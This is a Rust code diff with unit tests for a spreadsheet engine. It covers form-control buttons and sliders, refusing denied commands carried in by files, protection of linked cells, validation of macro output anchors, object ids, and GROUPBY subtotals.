#[test]
fn a_denied_command_is_refused_when_assigned_and_when_a_file_brings_it_in() {
let dir = std::env::temp_dir().join(format!("gridcraft-control-deny-{}", std::process::id()));
let leak = dir.join("leak.xlsx").to_string_lossy().to_string();
let denied = [
("link.open", json!({"url": "https://example.com/?d=secret"})),
("file.saveAs", json!({"path": leak})),
("file.save", json!({})),
("file.open", json!({"path": leak})),
("app.commands", json!({})),
("macro.run", json!({"name": "Mark"})),
("automate.runScript", json!({"name": "Leak", "trusted": true})),
("control.press", json!({"id": 1})),
];
let mut s = s();
s.execute("macro.save", json!({"name": "Mark", "steps": [{"command": "cell.set", "params": {"cell": "A1", "input": "m"}}]})).unwrap();
// Neither Insert › Button nor Assign Action takes one.
let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Run"})).unwrap());
for (cmd, params) in &denied {
let want = format!("can't run {cmd}");
assert!(err(s.execute("insert.button", json!({"at": "B9", "command": cmd, "params": params}))).contains(&want), "{cmd}");
assert!(err(s.execute("control.assign", json!({"id": b, "command": cmd, "params": params}))).contains(&want), "{cmd}");
assert_eq!(control(&s, b).action, None, "{cmd}");
}
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1, "no button was placed");
// A file can still carry them: one button per command, given its action as a file would.
for i in 1..denied.len() {
s.execute("insert.button", json!({"at": format!("B{}", 2 + 3 * i), "text": format!("Run {i}")})).unwrap();
}
let sh = std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap();
for (c, (cmd, params)) in sh.controls.iter_mut().zip(&denied) {
c.action = Some(ControlAction::Command { id: (*cmd).to_string(), params: params.clone() });
}
reopen(&mut s);
assert_eq!(s.doc().unwrap().trust, Trust::FromFile);
let list = s.execute("control.list", json!({})).unwrap();
for (i, (cmd, params)) in denied.iter().enumerate() {
// The action came back through the hidden name, so the check at press time is what holds.
assert_eq!(list[i]["action"], json!({"type": "command", "id": cmd, "params": params}), "{cmd}");
let pressed = list[i]["id"].as_u64().unwrap();
let before = undo_len(&s);
assert!(err(s.execute("control.press", json!({"id": pressed, "approve": true}))).contains(&format!("can't run {cmd}")), "{cmd}");
assert_eq!(undo_len(&s), before, "{cmd}: nothing ran");
}
assert!(!std::path::Path::new(&leak).exists());
assert_eq!(v(&s, "A1"), Value::Empty, "the macro never ran");
assert!(!s.ui_requests.iter().any(|r| matches!(r, crate::UiRequest::OpenUrl(_))), "no page was opened: {:?}", s.ui_requests);
}
/// A command the policy allows may still turn out to open a dialog or a web page when it runs
/// (a command given no parameters opens its dialog): the press is refused with the reason, as a
/// macro step is, and the request is dropped, so nothing opens. Messages for the person pass.
#[test]
fn a_button_command_that_would_open_a_dialog_or_a_page_is_refused_after_it_runs() {
use crate::UiRequest;
use crate::cmd::controls::take_requests;
let mut s = s();
let b = id(&s.execute("insert.button", json!({"at": "B2", "text": "Link", "command": "insert.link", "params": {}})).unwrap());
let before = undo_len(&s);
let name = control(&s, b).display_name();
assert_eq!(
err(s.execute("control.press", json!({"id": b}))),
format!("'{name}' would open the insertLink dialog; give its command the parameters it needs.")
);
assert!(!s.ui_requests.iter().any(|r| matches!(r, UiRequest::Dialog(..))), "{:?}", s.ui_requests);
assert_eq!(undo_len(&s), before, "nothing stays done");
// The filter itself, with every kind of request a command can queue: the page is refused,
// the cell edit is dropped, the message stays, and requests queued before are left alone.
s.ui_requests.push(UiRequest::Message("earlier".into()));
let queued = s.ui_requests.len();
s.ui_requests.extend([UiRequest::EditCell(None), UiRequest::Message("saved".into()), UiRequest::OpenUrl("https://example.com/".into())]);
assert_eq!(take_requests(&mut s, queued, "Go").as_deref(), Some("'Go' would open a web page, which buttons don't do."));
assert_eq!(s.ui_requests, vec![UiRequest::Message("earlier".into()), UiRequest::Message("saved".into())]);
assert_eq!(take_requests(&mut s, 5, "Go"), None, "a mark past the queue's end drops nothing");
assert_eq!(s.ui_requests.len(), 2);
}
/// A linked cell that holds a formula: a write of the value the formula already shows is skipped,
/// so Format Control's OK (which sends the value back every time) keeps the formula, also on a
/// protected sheet with the cell locked; a changed value replaces the formula with the constant.
#[test]
fn a_formula_in_the_linked_cell_survives_a_write_of_the_value_it_shows() {
let mut s = s();
s.execute("cell.set", json!({"cell": "A1", "input": "10"})).unwrap();
s.execute("cell.set", json!({"cell": "B1", "input": "=A1*2"})).unwrap();
let formula =
|s: &Session| s.doc().unwrap().wb.sheet(0).unwrap().cell(gridcraft_core::CellRef::parse("B1").unwrap()).is_some_and(|c| c.formula.is_some());
assert!(formula(&s));
// Inserting with the value the formula shows (10 * 2 = 20) writes nothing.
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 20})).unwrap());
assert!(formula(&s), "the formula stays");
assert_eq!(v(&s, "B1"), Value::Number(20.0));
// The dialog's OK: every number sent back, the value unchanged, a new name.
s.execute("control.format", json!({"id": c, "name": "Speed", "value": 20, "min": 0, "max": 100, "step": 1, "page": 10, "locked": false}))
.unwrap();
assert!(formula(&s), "a rename keeps the formula");
// Editing A1 moves the control through the formula (15 * 2 = 30); OK with that value keeps it.
s.execute("cell.set", json!({"cell": "A1", "input": "15"})).unwrap();
assert_eq!(control(&s, c).value, 30);
s.execute("control.format", json!({"id": c, "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
assert!(formula(&s));
// On a protected sheet with B1 locked, the same OK is not refused.
s.execute("review.protectSheet", json!({})).unwrap();
s.execute("control.format", json!({"id": c, "name": "Rate", "value": 30, "min": 0, "max": 100, "step": 1})).unwrap();
assert_eq!(control(&s, c).name, "Rate");
assert!(formula(&s));
s.execute("review.unprotectSheet", json!({})).unwrap();
// A changed value writes the constant over the formula.
s.execute("control.format", json!({"id": c, "value": 40, "min": 0, "max": 100, "step": 1})).unwrap();
assert!(!formula(&s), "the formula is replaced");
assert_eq!(v(&s, "B1"), Value::Number(40.0));
}
/// Using a slider or spin button writes its linked cell through `cell.set`, so the cell's
/// protection governs it: a locked cell on a protected sheet refuses the change, and the control
/// keeps its value (the control's change and the cell write are one group, rolled back together).
/// A control's own Locked flag keeps it from being moved or edited, not from being used, as in
/// Excel, so an unlocked linked cell takes the value on a protected sheet.
#[test]
fn a_locked_linked_cell_on_a_protected_sheet_refuses_the_change_and_the_control_keeps_its_value() {
let mut s = s();
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "B1", "value": 40})).unwrap());
s.execute("control.format", json!({"id": c, "locked": false})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
let before = undo_len(&s);
assert!(err(s.execute("control.setValue", json!({"id": c, "value": 60}))).contains("protected"));
assert_eq!((control(&s, c).value, v(&s, "B1")), (40, Value::Number(40.0)), "nothing is half-applied");
assert_eq!(undo_len(&s), before, "no undo step is left behind");
// Format Control: a new maximum that would pull the value into the cell is refused whole.
assert!(err(s.execute("control.format", json!({"id": c, "max": 30}))).contains("protected"));
assert_eq!((control(&s, c).max, control(&s, c).value), (100, 40));
// Inserting a control with a value for a locked cell is refused and leaves no control behind.
assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "B2", "value": 5}))).contains("protected"));
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
// The value the cell already holds writes nothing, so nothing is refused.
s.execute("control.setValue", json!({"id": c, "value": 40})).unwrap();
assert_eq!(undo_len(&s), before);
// An unlocked linked cell takes the value on the protected sheet.
s.execute("review.unprotectSheet", json!({})).unwrap();
s.execute("home.lockCell", json!({"range": "B1", "on": false})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
s.execute("control.setValue", json!({"id": c, "value": 60})).unwrap();
assert_eq!((control(&s, c).value, v(&s, "B1")), (60, Value::Number(60.0)));
}
/// A link to a cell on another sheet obeys that sheet's protection, not the control's sheet's.
#[test]
fn a_link_to_another_sheet_obeys_that_sheets_protection() {
let mut s = s();
s.execute("home.insertSheet", json!({"name": "Data"})).unwrap();
s.execute("sheet.activate", json!({"sheet": "Sheet1"})).unwrap();
let c = id(&s.execute("insert.slider", json!({"at": "D2", "link": "Data!B1", "value": 10})).unwrap());
assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
let data = |s: &Session| {
let wb = &s.doc().unwrap().wb;
wb.sheet(wb.sheet_index("Data").unwrap()).unwrap().value(gridcraft_core::CellRef::new(0, 1))
};
assert_eq!(data(&s), Value::Number(10.0));
s.execute("review.protectSheet", json!({"sheet": "Data"})).unwrap();
let before = undo_len(&s);
assert!(err(s.execute("control.setValue", json!({"id": c, "value": 20}))).contains("protected"));
assert_eq!((control(&s, c).value, data(&s)), (10, Value::Number(10.0)));
assert_eq!(undo_len(&s), before);
assert!(err(s.execute("insert.spinButton", json!({"at": "D8", "link": "Data!B2", "value": 5}))).contains("protected"));
assert_eq!(s.doc().unwrap().wb.sheet(0).unwrap().controls.len(), 1);
// Protecting the control's own sheet instead leaves the write to the other sheet alone.
s.execute("review.unprotectSheet", json!({"sheet": "Data"})).unwrap();
s.execute("review.protectSheet", json!({})).unwrap();
s.execute("control.setValue", json!({"id": c, "value": 20})).unwrap();
assert_eq!((control(&s, c).value, data(&s)), (20, Value::Number(20.0)));
// A link to a sheet the workbook doesn't have is refused with a clear message.
s.execute("review.unprotectSheet", json!({})).unwrap();
assert!(err(s.execute("control.format", json!({"id": c, "link": "Nowhere!B1"}))).contains("isn't a cell of this workbook"));
assert_eq!(control(&s, c).link.as_deref(), Some("Data!$B$1"));
}
+80
View File
@@ -2434,3 +2434,83 @@ fn a_shortcut_taken_while_recording_is_reported_when_it_is_left_off() {
assert!(r.get("shortcutDropped").is_none(), "{r}");
assert_eq!(s.execute("macro.get", json!({"name": "Keep"})).unwrap()["shortcut"], "Ctrl+Shift+Q");
}
/// `output` (a form button's output cell) moves where the macro writes: the footprint, the
/// conflict rule and `macro.check` protect the data at the cells it names, as at the macro's own
/// anchor, and a value that names no cell is refused before anything runs.
#[test]
fn an_output_override_is_checked_and_protected_like_the_macros_own_anchor() {
let mut s = s();
s.execute("home.insertSheet", json!({"name": "Other"})).unwrap();
s.execute("sheet.activate", json!({"sheet": 0})).unwrap();
put(
&mut s,
json!({"name": "Placed", "output": {"anchor": "D1"}, "steps": [
{"command": "cell.set", "params": {"cell": "Output", "input": "out"}}
]}),
);
set(&mut s, "F1", "keep me");
let start = s.doc().unwrap().wb.clone();
// Writing over F1 asks (programmatic runs fail) and changes nothing, as it would at D1.
let r = s.execute("macro.run", json!({"name": "Placed", "output": "F1"}));
let Err(EngineError::Confirm(q)) = r else { panic!("{r:?}") };
assert!(q.contains("(F1 on Sheet1)"), "{q}");
let err = s.execute("macro.run", json!({"name": "Placed", "output": "F1", "onConflict": "fail"})).unwrap_err().to_string();
assert!(err.contains("Nothing was changed"), "{err}");
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start));
// macro.check reports the override and its conflict.
let c = s.execute("macro.check", json!({"name": "Placed", "output": "F1"})).unwrap();
assert_eq!((&c["ok"], &c["output"], &c["conflicts"]), (&json!(false), &json!("F1"), &json!(1)), "{c}");
// On another sheet too.
s.execute("cell.set", json!({"cell": "Other!B2", "input": "theirs"})).unwrap();
let r = s.execute("macro.run", json!({"name": "Placed", "output": "Other!B2"}));
assert!(matches!(&r, Err(EngineError::Confirm(q)) if q.contains("(B2 on Other)")), "{r:?}");
// The stored anchor holding data doesn't matter when the output goes elsewhere.
set(&mut s, "D1", "stored anchor's data");
s.execute("macro.run", json!({"name": "Placed", "output": "H1"})).unwrap();
assert_eq!((v(&s, "H1").display(), v(&s, "D1").display()), ("out".to_string(), "stored anchor's data".to_string()));
// Hostile values are refused before anything runs.
let before = s.doc().unwrap().wb.clone();
for (bad, needle) in [
(json!(5), "`output` must be reference text"),
(json!({"cell": "F1"}), "`output` must be reference text"),
(json!(" "), "`output` must be reference text"),
(json!("x".repeat(1_025)), "`output` must be reference text"),
(json!("F1\nF2"), "`output` must be reference text"),
(json!("NoSuchSheet!A1"), "output anchor"),
(json!("XFE1"), "output anchor"),
(json!("A1048577"), "output anchor"),
(json!("not a cell!!"), "output anchor"),
] {
let err = s.execute("macro.run", json!({"name": "Placed", "output": bad, "onConflict": "overwrite"})).unwrap_err().to_string();
assert!(err.contains(needle), "{bad}: {err}");
let c = s.execute("macro.check", json!({"name": "Placed", "output": bad})).unwrap();
assert!(c["errors"].to_string().contains(needle), "{bad}: {c}");
}
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &before));
}
/// After a partial footprint (Solver can't be previewed), a later step that deletes a form
/// control is caught by the check of each step, as one that deletes a chart or a picture is.
#[test]
fn a_step_that_deletes_a_form_control_after_a_partial_footprint_is_caught() {
let mut s = s();
set(&mut s, "A1", "1");
set(&mut s, "C1", "=A1");
let control = s.execute("insert.spinButton", json!({"at": "E2"})).unwrap()["control"].as_u64().unwrap();
let solver = json!({"command": "data.solver", "params": {"objective": "C1", "variables": "A1", "constraints": ["A1 <= 5"], "method": "simplex", "saveModel": false}});
let delete = json!({"command": "object.delete", "params": {"kind": "control", "id": control}});
put(&mut s, json!({"name": "Drop", "inputs": [{"name": "Input"}], "steps": [solver, delete]}));
let start = s.doc().unwrap().wb.clone();
for rule in ["fail", "ask"] {
let r = s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "onConflict": rule}));
let e = match (rule, r) {
("fail", Err(EngineError::Other(e))) | ("ask", Err(EngineError::Confirm(e))) => e,
(_, r) => panic!("{rule}: {r:?}"),
};
assert!(e.contains("Step 2 (object.delete): It would write over data (1 object)"), "{e}");
assert!(Arc::ptr_eq(&s.doc().unwrap().wb, &start), "{rule}: rolled back");
}
s.execute("macro.run", json!({"name": "Drop", "inputs": "A1", "overwrite": true})).unwrap();
assert!(s.doc().unwrap().wb.active().unwrap().controls.is_empty());
}
+35 -10
View File
@@ -20,8 +20,8 @@ fn id_of(v: &serde_json::Value, key: &str) -> u32 {
}
/// A table with one object of each kind on the first sheet: a chart, a picture, a shape, a
/// slicer and an equation, in `ObjKind::ALL` order.
fn every_kind(s: &mut Session) -> [ObjRef; 5] {
/// slicer, an equation and a form control, in `ObjKind::ALL` order.
fn every_kind(s: &mut Session) -> [ObjRef; 6] {
s.execute("range.setValues", json!({"range": "A1", "values": [["Region", "Qty"], ["East", 3], ["West", 5], ["East", 2], ["North", 8]]})).unwrap();
s.execute("insert.table", json!({"range": "A1:B5", "name": "Sales"})).unwrap();
let chart = id_of(&s.execute("insert.chart", json!({"range": "B1:B5", "type": "column", "at": "D2"})).unwrap(), "chart");
@@ -30,12 +30,14 @@ fn every_kind(s: &mut Session) -> [ObjRef; 5] {
s.execute("selection.set", json!({"cell": "A2"})).unwrap();
let slicer = id_of(&s.execute("insert.slicer", json!({"column": "Region", "at": "L2"})).unwrap(), "slicer");
let equation = id_of(&s.execute("insert.equation", json!({"latex": "x^2", "cell": "L18"})).unwrap(), "equation");
let control = id_of(&s.execute("insert.slider", json!({"at": "P18", "link": "$B$7"})).unwrap(), "control");
[
ObjRef::new(ObjKind::Chart, chart),
ObjRef::new(ObjKind::Image, image),
ObjRef::new(ObjKind::Shape, shape),
ObjRef::new(ObjKind::Slicer, slicer),
ObjRef::new(ObjKind::Equation, equation),
ObjRef::new(ObjKind::Control, control),
]
}
@@ -68,9 +70,9 @@ fn every_kind_is_found_moved_and_deleted_by_kind_and_id() {
assert!(sheet(&s, 0).has_object(*later), "deleting {o:?} leaves {later:?}");
}
}
// One undo step per delete brings the equation back.
// One undo step per delete brings the control, deleted last, back.
s.execute("edit.undo", json!({})).unwrap();
assert!(sheet(&s, 0).has_object(objs[4]));
assert!(sheet(&s, 0).has_object(objs[5]));
}
#[test]
@@ -84,9 +86,11 @@ fn selection_pane_lists_and_stacks_slicers() {
for k in ObjKind::ALL {
assert!(kinds.contains(&k.name()), "{k:?} listed in {kinds:?}");
}
assert_eq!(kinds.last(), Some(&"slicer"), "slicers stack on top");
assert_eq!(kinds.last(), Some(&"control"), "form controls stack on top");
assert_eq!(kinds.get(kinds.len() - 2), Some(&"slicer"), "slicers stack above charts, pictures and shapes");
let names: Vec<&str> = items.iter().map(|o| o["name"].as_str().unwrap()).collect();
assert!(names.contains(&"Region") && names.contains(&"Qty"), "{names:?}");
assert!(names.contains(&format!("Slider {}", objs[5].id).as_str()), "{names:?}");
assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(objs[3].id));
s.execute("arrange.sendBackward", json!({"kind": "slicer", "id": second, "toBack": true})).unwrap();
assert_eq!(sheet(&s, 0).slicers.first().map(|c| c.id), Some(second));
@@ -122,17 +126,17 @@ fn cell_of(s: &Session, o: ObjRef) -> String {
fn every_kind_follows_row_and_column_edits_and_sorts() {
let mut s = s();
let objs = every_kind(&mut s);
// Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18.
// Anchors: chart D2, picture D18, shape H18, slicer L2, equation L18, slider P18.
s.execute("object.setAnchorMode", json!({"kind": "shape", "id": objs[2].id, "mode": "absolute"})).unwrap();
let cells = |s: &Session| objs.map(|o| cell_of(s, o));
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
s.execute("home.insertRows", json!({"rows": "10:11"})).unwrap();
assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20"], "rows inserted above move the objects below them; an absolute shape stays");
assert_eq!(cells(&s), ["D2", "D20", "H18", "L2", "L20", "P20"], "rows inserted above move the objects below them; an absolute shape stays");
s.execute("home.insertColumns", json!({"cols": "C:C"})).unwrap();
assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20"]);
assert_eq!(cells(&s), ["E2", "E20", "H18", "M2", "M20", "Q20"]);
s.execute("home.deleteColumns", json!({"cols": "C:C"})).unwrap();
s.execute("home.deleteRows", json!({"rows": "10:11"})).unwrap();
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18"]);
assert_eq!(cells(&s), ["D2", "D18", "H18", "L2", "L18", "P18"]);
// Sorting moves a picture anchored inside the sorted block with its row.
s.execute("range.setValues", json!({"range": "T1", "values": [["k"], [3], [1], [2]]})).unwrap();
let pic = ObjRef::new(ObjKind::Image, super::add_image(&mut s, "T2", AnchorMode::MoveAndSize));
@@ -261,6 +265,7 @@ fn a_copied_sheet_gives_its_objects_fresh_ids() {
.chain(sh.images.iter().map(|c| c.id))
.chain(sh.shapes.iter().map(|c| c.id))
.chain(sh.slicers.iter().map(|c| c.id))
.chain(sh.controls.iter().map(|c| c.id))
.collect()
};
let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| ids_of(sh)).collect();
@@ -314,6 +319,26 @@ fn object_ids_stay_unique_when_a_file_used_the_largest_id() {
assert_eq!(ids.len(), 6, "every shape id is distinct across both sheets");
}
/// A copied sheet's form controls take free ids like its other objects: a file's control can
/// carry the largest id, and the ids the copy asks for count the controls.
#[test]
fn a_copied_sheets_form_controls_take_free_ids_too() {
let mut s = s();
let slider = id_of(&s.execute("insert.slider", json!({"at": "B2", "link": "$A$1"})).unwrap(), "control");
s.execute("insert.button", json!({"at": "B6"})).unwrap();
s.execute("insert.shape", json!({"kind": "rectangle", "at": "D2"})).unwrap();
// The file's slider carries the largest id (set on the model, as a loaded file would).
std::sync::Arc::make_mut(&mut s.doc_mut().unwrap().wb).sheet_mut(0).unwrap().controls.iter_mut().find(|o| o.id == slider).unwrap().id = u32::MAX;
s.execute("sheet.move", json!({"sheet": 0, "to": 1, "copy": true})).unwrap();
let wb = &s.doc().unwrap().wb;
let mut ids: Vec<u32> = wb.sheets.iter().flat_map(|sh| sh.controls.iter().map(|o| o.id).chain(sh.shapes.iter().map(|o| o.id))).collect();
assert_eq!(ids.len(), 6);
ids.sort_unstable();
ids.dedup();
assert_eq!(ids.len(), 6, "every control and shape id is distinct across both sheets: {ids:?}");
assert_eq!(ids.iter().filter(|&&i| i == u32::MAX).count(), 1, "only the file's slider keeps the largest id");
}
/// A file's anchors are not held to the 10,000 points `object.move` gives a new size. A picture
/// a file made 12,000 wide keeps that width when it is moved, shrinks by what a resize asks
/// (11,990 stays 11,990, no jump to 10,000) and never grows further; a dimension the file kept
+42 -6
View File
@@ -61,7 +61,7 @@ impl FormulaLocale {
pub fn parse_input(src: &str, locale: FormulaLocale, known_name: impl Fn(&str) -> bool) -> Result<Expr, ParseError> {
let mut expr = parser::parse_syntax(src, locale)?;
if locale == FormulaLocale::Es {
normalize(&mut expr, &known_name, &mut Vec::new(), 0, false)?;
normalize(&mut expr, &known_name, &mut Bindings::default(), 0, false)?;
}
Ok(expr)
}
@@ -96,7 +96,7 @@ pub fn print_input(expr: &Expr, locale: FormulaLocale, known_name: impl Fn(&str)
return Ok(crate::print(expr));
}
let mut expr = expr.clone();
normalize(&mut expr, &known_name, &mut Vec::new(), 0, true)?;
normalize(&mut expr, &known_name, &mut Bindings::default(), 0, true)?;
let canonical = crate::print(&expr);
let tokens = crate::lexer::tokenize(&canonical).map_err(|e| ParseError { msg: e.msg, pos: e.pos })?;
let mut out = String::new();
@@ -131,11 +131,47 @@ pub(crate) fn boolean_alias(name: &str) -> Option<bool> {
}
}
fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Vec<String>, depth: usize, display: bool) -> Result<(), ParseError> {
/// The LET/LAMBDA names in scope, with how many times each is bound, so a lookup is one probe
/// instead of a scan of every binding for each call.
#[derive(Default)]
struct Bindings {
stack: Vec<String>,
counts: std::collections::HashMap<String, usize>,
}
impl Bindings {
fn len(&self) -> usize {
self.stack.len()
}
fn push(&mut self, name: &str) {
let key = crate::fold_name(name);
*self.counts.entry(key.clone()).or_default() += 1;
self.stack.push(key);
}
fn truncate(&mut self, len: usize) {
while self.stack.len() > len {
let Some(key) = self.stack.pop() else { break };
if let Some(n) = self.counts.get_mut(&key) {
*n -= 1;
if *n == 0 {
self.counts.remove(&key);
}
}
}
}
fn contains(&self, name: &str) -> bool {
self.counts.contains_key(&crate::fold_name(name))
}
}
fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut Bindings, depth: usize, display: bool) -> Result<(), ParseError> {
if depth > parser::MAX_DEPTH {
return Err(ParseError { msg: "formula is nested too deeply".into(), pos: 0 });
}
let bound = |name: &str, bindings: &[String]| bindings.iter().rev().any(|n| crate::same_name(n, name)) || known_name(name);
let bound = |name: &str, bindings: &Bindings| bindings.contains(name) || known_name(name);
match expr {
Expr::Bool(value) if display => {
let alias = if *value { "VERDADERO" } else { "FALSO" };
@@ -156,7 +192,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
// The new name is not in scope in its own value expression.
normalize(value, known_name, bindings, depth + 1, display)?;
if let Expr::Name(name) = declaration {
bindings.push(name.clone());
bindings.push(name);
}
}
}
@@ -169,7 +205,7 @@ fn normalize(expr: &mut Expr, known_name: &impl Fn(&str) -> bool, bindings: &mut
if let Some((body, params)) = args.split_last_mut() {
for param in params {
if let Expr::Name(name) = param {
bindings.push(name.clone());
bindings.push(name);
}
}
normalize(body, known_name, bindings, depth + 1, display)?;
+167 -1
View File
@@ -760,6 +760,13 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
let total = opt_count(args, 4)?.unwrap_or(1);
let sort = opt_count(args, 5)?.unwrap_or(1);
let filter = opt_arr(args, 6)?;
let relationship = opt_count(args, 7)?.unwrap_or(0);
// A total depth of N adds subtotals for the first N - 1 key columns, so it can't exceed the
// key columns, and a flat table (field_relationship 1) has no levels to subtotal.
let depth = total.unsigned_abs() as usize;
if depth > rf.cols.max(1) || (depth > 1 && relationship == 1) {
return Err(CellError::Value);
}
let p = prepare(&[&rf], &vals, fh, filter.as_ref())?;
let keys: Vec<Vec<Value>> = p.rows.iter().map(|&r| key_row(&rf, r)).collect();
let mut groups: HashMap<String, Vec<usize>> = HashMap::new();
@@ -791,13 +798,22 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
lines
.sort_by(|a, b| cmp_keys(&[a.get(ci).cloned().unwrap_or(Value::Empty)], &[b.get(ci).cloned().unwrap_or(Value::Empty)], &[sort.signum()]));
}
if depth > 1 {
let mut rows_of = |keys: &[Value]| groups.get(&row_key(keys)).cloned().unwrap_or_default();
// The header and total lines count too, so the whole result is checked before it is built.
let around = usize::from(p.show_headers) + usize::from(total != 0);
let width = rf.cols.saturating_add(vals.cols);
let fits = |n: usize| check_output_size(n.saturating_add(around), width);
lines = with_subtotals(lines, depth, rf.cols, total < 0, &fits, &mut rows_of, &mut agg_row)?;
}
let mut out = Vec::new();
if p.show_headers {
let mut h = p.field_headers.clone();
h.extend(p.value_headers.iter().cloned());
out.push(h);
}
let mut total_line = vec![Value::from("Total")];
// With subtotals Excel calls the last line "Grand Total".
let mut total_line = vec![Value::from(if depth > 1 { "Grand Total" } else { "Total" })];
total_line.resize(rf.cols, Value::Empty);
total_line.extend(agg_row(&p.rows));
if total < 0 {
@@ -812,6 +828,84 @@ fn groupby(args: &[Arg], c: &mut dyn Ctx) -> R<Value> {
from_rows(out, &Value::Empty)
}
/// GROUPBY's subtotals: `lines` (`key_cols` keys, then values) with the lines of each group of a
/// key level kept together in the order the groups first appear, and for every key level above
/// `depth` a line after the group (before it when `before`): the group's keys, blanks for the deeper
/// keys, and the values aggregated over the group's source rows (`rows_of` maps a line's keys to them).
///
/// No recursion, so a deep total depth can't exhaust the stack: each line gets the id of its key
/// prefix at every level (ids count up as prefixes first appear), a stable sort by those ids brings
/// each group together, and one walk adds a subtotal where a group starts or ends. `fits` gets the
/// line count as the groups are found, so an oversized result is refused before it is built.
fn with_subtotals(
mut lines: Vec<Vec<Value>>,
depth: usize,
key_cols: usize,
before: bool,
fits: &dyn Fn(usize) -> R<()>,
rows_of: &mut dyn FnMut(&[Value]) -> Vec<usize>,
agg: &mut dyn FnMut(&[usize]) -> Vec<Value>,
) -> R<Vec<Vec<Value>>> {
let levels = depth.saturating_sub(1);
if levels == 0 {
return Ok(lines);
}
let mut ids: HashMap<(usize, String), usize> = HashMap::new();
let mut paths: Vec<Vec<usize>> = Vec::with_capacity(lines.len());
for line in &lines {
let mut parent = usize::MAX;
let mut path = Vec::with_capacity(levels);
for level in 0..levels {
let next = ids.len();
parent = *ids.entry((parent, row_key(line.get(level..=level).unwrap_or_default()))).or_insert(next);
path.push(parent);
}
fits(lines.len().saturating_add(ids.len()))?;
paths.push(path);
}
let mut group_rows: Vec<Vec<usize>> = vec![Vec::new(); ids.len()];
for (line, path) in lines.iter().zip(&paths) {
let rows = rows_of(line.get(..key_cols).unwrap_or_default());
for &id in path {
if let Some(g) = group_rows.get_mut(id) {
g.extend_from_slice(&rows);
}
}
}
let mut subtotal = |keys: &[Value], level: usize, id: usize| -> Vec<Value> {
let mut line: Vec<Value> = keys.iter().take(level + 1).cloned().collect();
line.resize(key_cols, Value::Empty);
line.extend(agg(group_rows.get(id).map(Vec::as_slice).unwrap_or_default()));
line
};
let mut order: Vec<usize> = (0..lines.len()).collect();
order.sort_by(|&a, &b| paths.get(a).cmp(&paths.get(b)));
let mut out = Vec::with_capacity(lines.len().saturating_add(ids.len()));
let mut prev: Option<(Vec<Value>, &[usize])> = None;
for &i in &order {
let (Some(line), Some(path)) = (lines.get_mut(i).map(std::mem::take), paths.get(i)) else { continue };
// The first level at which this line leaves the previous line's groups.
let split = prev.as_ref().map_or(0, |(_, p)| p.iter().zip(path).take_while(|(a, b)| a == b).count());
if before {
for (level, &id) in path.iter().enumerate().skip(split) {
out.push(subtotal(&line, level, id));
}
} else if let Some((keys, p)) = &prev {
for (level, &id) in p.iter().enumerate().skip(split).rev() {
out.push(subtotal(keys, level, id));
}
}
prev = Some((line.get(..key_cols).unwrap_or_default().to_vec(), path));
out.push(line);
}
if !before && let Some((keys, p)) = &prev {
for (level, &id) in p.iter().enumerate().rev() {
out.push(subtotal(keys, level, id));
}
}
Ok(out)
}
/// Height and width of a PIVOTBY grid: `header_rows` (one per column field, plus the value-name row) and
/// `body_rows` (row keys plus the total row), each `lead` row-field cells wide plus `value_cols` cells per column key.
fn pivot_dims(header_rows: usize, body_rows: usize, col_keys: usize, value_cols: usize, lead: usize) -> (usize, usize) {
@@ -1265,6 +1359,78 @@ mod tests {
is_err(ev("GROUPBY", vec![rf(region), av(col(&[1.0])), t("SUM")]), CellError::Value);
}
#[test]
fn groupby_subtotals_past_the_size_limit_are_refused_before_they_are_built() {
// One row with 4000 key columns at depth 4000 asks for 3999 subtotal lines, each 4001 cells
// wide: 16 million cells, over the limit. It is #NUM! before any subtotal line exists (it
// used to build them all, nesting 4000 levels deep, and refuse them afterwards).
let keys = av(arr(vec![(0..4000).map(|i| nv(f64::from(i))).collect()]));
is_err(ev("GROUPBY", vec![keys, av(col(&[1.0])), t("SUM"), empty(), n(4000.0)]), CellError::Num);
}
#[test]
fn groupby_total_depth_adds_subtotals() {
// #1456 item 1, values as Excel 365 shows them.
let keys2 = || av(arr(vec![vec![tv("a"), tv("x")], vec![tv("a"), tv("y")], vec![tv("b"), tv("x")]]));
let vals3 = || av(col(&[1.0, 2.0, 3.0]));
let e = Value::Empty;
let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(2.0)]);
assert_eq!(
rows_of(&r),
vec![
vec![tv("a"), tv("x"), nv(1.0)],
vec![tv("a"), tv("y"), nv(2.0)],
vec![tv("a"), e.clone(), nv(3.0)],
vec![tv("b"), tv("x"), nv(3.0)],
vec![tv("b"), e.clone(), nv(3.0)],
vec![tv("Grand Total"), e.clone(), nv(6.0)],
]
);
let r = ev("GROUPBY", vec![keys2(), vals3(), t("SUM"), empty(), n(-2.0)]);
assert_eq!(
rows_of(&r),
vec![
